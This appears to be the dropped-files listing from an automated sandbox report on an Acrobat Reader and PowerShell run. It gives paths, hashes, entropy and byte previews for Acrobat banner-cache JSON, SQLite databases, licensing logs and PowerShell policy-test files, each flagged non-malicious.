Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.278620313737361
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsAb0DUWJUnZiQ0YzMjeoAvJfbPtdPeUkwRe9:YvXKXh8UoUcgEVGDV8Ukee9
MD5:	06EE9F4FD5A4FAC4CDD6F2265F7E341E
SHA1:	1223EA730A3362AB2815280ACE9B686881FA3E64
SHA-256:	86F03485F2C15722E7EF0163F7B61834AB21F16E8C3BAECFBB128B5921063899
SHA-512:	F7E0FC76EF6B4A9EB89C180C595E87851CB4FC81EF6FCC828B70515614187AF2F7E9776ADA98846C165323E97EBDACC9CD259DB742A1B0990BE64315B409A2AA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.281932968072727
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsAb0DUWJUnZiQ0YzMjeoAvJf21rPeUkwRe9:YvXKXh8UoUcgEVG+16Ukee9
MD5:	BC97C0349C9E6A46040B1C4CE6FAB061
SHA1:	105C1837E56629099066EE687CC8AD8B3B7BDB7A
SHA-256:	E73D132B735EE572F8451A0930F785A6ACCF63F9431886E5285C741EF5AE30D8
SHA-512:	365EC003D6088D516EAE8666BB55BF00164E5433806370550C7A58060ABEE260F77ED6E14BC98D74ACBF60F0CD1C5681C7D2B042B2885438EB182C6D90F21774
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664948118980749
Encrypted:	false
SSDEEP:	24:Yv6Xh855gEmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSQ:YvN5joBgkDMUJUAh8cvMQ
MD5:	F31B85A291923E5A44239804FE463386
SHA1:	A45CA52317FCE173F089472CC98B932B4847F1DD
SHA-256:	EF3E8EB88F13E110826AE0FE001675ABA4857FC11C18DB345A6F674D9C4198F5
SHA-512:	E8CB7258AD4239DF6D45B84C3FEC598E4A3140D44F4B922A12C8CA6D846AFB96A04308D2D181D67066635A4EF5765F6EEC2B2CB749F10F42C166E353C05777BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.260123081376948
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsAb0DUWJUnZiQ0YzMjeoAvJfshHHrPeUkwRe9:YvXKXh8UoUcgEVGUUUkee9
MD5:	93BEA9214F2BEE208D78D63737D6F221
SHA1:	F455360D353E815C5CF227DBD1AB40ABD23E0780
SHA-256:	8009B2C0B79AF1DF00967664862012298114FF1D46FD30A726EBBAB108D81046
SHA-512:	78BBBE6D5062CE5B9D191800DD9DEF9E9C94DC248DDB98A52D5CE7B96C61942753469F5153FC1F36C4C9C2647B38187F51F523F3CD8921BD078C48C507859B16
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.265280582371157
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsAb0DUWJUnZiQ0YzMjeoAvJTqgFCrPeUkwRe9:YvXKXh8UoUcgEVGTq16Ukee9
MD5:	32B1A4FEFA57CF681AE7CC521621FE27
SHA1:	46E4A36CAC705F5B399BA19E5AE68CC861A68C44
SHA-256:	914ED85CCB87BAAE16BC491882B6F7E4EFDF23E3925E4D27AB02E788403E10A2
SHA-512:	CF03BE131585BCB5D49C1B90CAACC46467801213DD39574060D3CD60BA17EE563CCBD7BC0C42ECF6D4C627670B99CC8A529DEF6511AF1EAD8EF26A94242C9004
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9e432bef-bad0-4180-9278-605be89083a0","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736714544194,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.136323898246307
Encrypted:	false
SSDEEP:	48:YuHCczkKZVI8LjBcdopAP+OCZxfZp19J3Ap:dpPXI8LjmdiAa7xdJ3Ap
MD5:	1F93B8E5359AA27A7C8E84B9C9328914
SHA1:	0F68E64C8906340286F6509235CA3F5418EF9181
SHA-256:	DBF409F336264DFEEFE780FFA8AA5539624FA3B1E80AC4658FAA35F5B4245ADB
SHA-512:	142810CD9515F25391544F100541D0A1A04A4E2F52FD0FD641A196052C97E9CA48DE63AB29EE4368C51741E6668CB5E1B046D40697FA65274109DD926E645C55
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"53729e09443c7f15a4a0c7ec6d2d7bcc","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736540663000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"9bac81cebe44b57026d8780784d4558d","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736540663000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"e16586504817b69ebfec40e4ed3c58de","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736540663000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ed57e899cf306522624db51721b47d1f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736540663000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"e78f465d2dc4518cd157d2065d149cba","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736540663000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"bf64a51b059b6167e8d0b24107da8ebb","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1467487039453086
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7urs8nRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcB:TFl2GL7ms8jXc+XcGNFlRYIX2v3kLF
MD5:	AA7962CDDF3C190797C57E003EBBE92C
SHA1:	6A480BD7571D00FA8D225FA9B5E3746BEA76E00F
SHA-256:	ECD0495C9DF87ECB03C3EA8C967418680BB5391F52B395115AC8F48556AED8DF
SHA-512:	E1D85879BB3CE4A9F4A5B47B9EE6BBB2B22E7D06885FA00461418C97789489871341E6D97625B6D948C89BC558284092D17A9E944A0828D30942EAA7AFC769BD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.5505156494510386
Encrypted:	false
SSDEEP:	24:7+thKnUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLux+qLxx/XYb:7MwUXc+XcGNFlRYIX2vHqVl2GL7msu
MD5:	4EEC9B8201C80CD0061170D8DB9F3945
SHA1:	3B33211710CAF6C125CFAF81E2067CCAC2ADD64F
SHA-256:	BBBDB428D3401198DC283F91573F16295E61EC9EA8E183FD77A67FD4CD521474
SHA-512:	D652B52F19CB92EEFBA78E596DBD1D49C2F8262FC879219CDDA7B3074B9587F0479C90910B8F13A2958AB2C6673FD1D83F646834794FA6763D2194D7B87015BD
Malicious:	false
Preview:	.... .c.....f.k...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgiADMiGG8ulpl9QLM/ThcYWt7tBm7Yyu:6a6TZ44ADE/DMUpcLiThstzIK
MD5:	5D80DE008BCA17F9ADE38F308F950A1C
SHA1:	ABBADC5189BF1209B2F13332508A3F1B5167FCA2
SHA-256:	00854B153B5F556EBA5862AD2F7D4D97D3132E51F4B79AEFE4E0A14F91A88FEF
SHA-512:	D5280D45BB2A4E084A499EB0C5859614A65337F566C56E7A15B5EFE359979E0EBBBFF523E7401A0EBDD1601E5AFC84DC81FC3A2D91F9924010673E0A0970FE65
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSIcb851.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5097251598291805
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEWJ:Qw946cPbiOxDlbYnuRK+bDWJ
MD5:	72CA7AC7F663B7C47F774D043C1C7F76
SHA1:	473A8E24C48F716E989685BB5433F699D832FA46
SHA-256:	5322E5FD04C1148423FEE78CBB539A4293846201ABA1D772E102F9BBC61C687D
SHA-512:	A0D94EB9F06A58CB55439C6B928CCEF9B5C8FDF6C3164972AA7DC69CDC64B79D620106A78CD829337684C28EE7809052BB6C4D6DFBDFF9E23DF282F422157435
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.5.:.2.4.:.2.8. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gppiim5n.v1e.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kd4s50ch.vdz.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9yzkbiu_1tmhj4o_55c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 15-24-19-836.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.344436601563212
Encrypted:	false
SSDEEP:	384:PHZ2RbP/8nykPBJcgCXO6xYriK1ytrDx3wj2MkU/VgVYVPm4qeI4jjTmVm/+hnTh:Gq7KCc
MD5:	0C4A3042B891EFB90DC5B81F3E1EC08A
SHA1:	5272E67D2854A5D6BF1D1EAFAF70D789E7D86309
SHA-256:	91DCB840E67C9A20981D0FAF7E8A208E927B55B1B5C1810EE88C4DE5B8AB6E10
SHA-512:	86A1F91F18AB239E9B47FDD7EF4F9063696507149C83765CD87D7C614E64B9721F1E9764F1E6F19C55350FFEA4B3A5DEF554E6CF4E9CF19E92CF26A70FCDA550
Malicious:	false
Preview:	SessionID=0a1b5b0c-b3a1-4eff-b730-5941b2c92700.1736540659916 Timestamp=2025-01-10T15:24:19:916-0500 ThreadID=7588 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=0a1b5b0c-b3a1-4eff-b730-5941b2c92700.1736540659916 Timestamp=2025-01-10T15:24:19:917-0500 ThreadID=7588 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=0a1b5b0c-b3a1-4eff-b730-5941b2c92700.1736540659916 Timestamp=2025-01-10T15:24:19:917-0500 ThreadID=7588 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=0a1b5b0c-b3a1-4eff-b730-5941b2c92700.1736540659916 Timestamp=2025-01-10T15:24:19:917-0500 ThreadID=7588 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=0a1b5b0c-b3a1-4eff-b730-5941b2c92700.1736540659916 Timestamp=2025-01-10T15:24:19:917-0500 ThreadID=7588 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.395659510870579
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcb6JJVOlIVnA8+AEcbqIlfcb9:V3fOCIdJDe8JJVOlIVnA8+AFlw
MD5:	496FE69CEA7A48E65899BFE5C30880AD
SHA1:	8227CB5BCD436C37CCD377DCEDEC4301A02A785C
SHA-256:	B9303E0569D13297DAC7AC42095C97D76C1875A909653B9F38D36831C0810765
SHA-512:	34686133307F05C3B0736BA8BC76F273BF5A361A8A8542FD2844838709DAAAB4854EE1339A4E2B01A5EC9E2C5E6EB3FA4F9104C2FBA0D39A3E17882983342D89
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\aff0b8c8-fcf9-4c64-a22e-edbfdc940f2c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\d536a584-a50d-4d7f-931c-2baf74dcb59b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLcGZtwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLcGZa
MD5:	22B260CB8C51C0D68C6550E4B061E25A
SHA1:	DF9A5999C58A8D5ADBB3F8D1111EAB9E4778637E
SHA-256:	DAB1231CC22DAB591EBB91C853E3EE41C10D3DA85D2EFAB67E9A52CCB3A3A5A0
SHA-512:	503218D83C511A7F7CEA8BC171921D1435664B964F01A8C77DC0F4D0196DD2815D9444DA98278E1369552D004E9B091DD9B89663209F0C52ACB97FCE6AFFE7A9
Malicious:	false
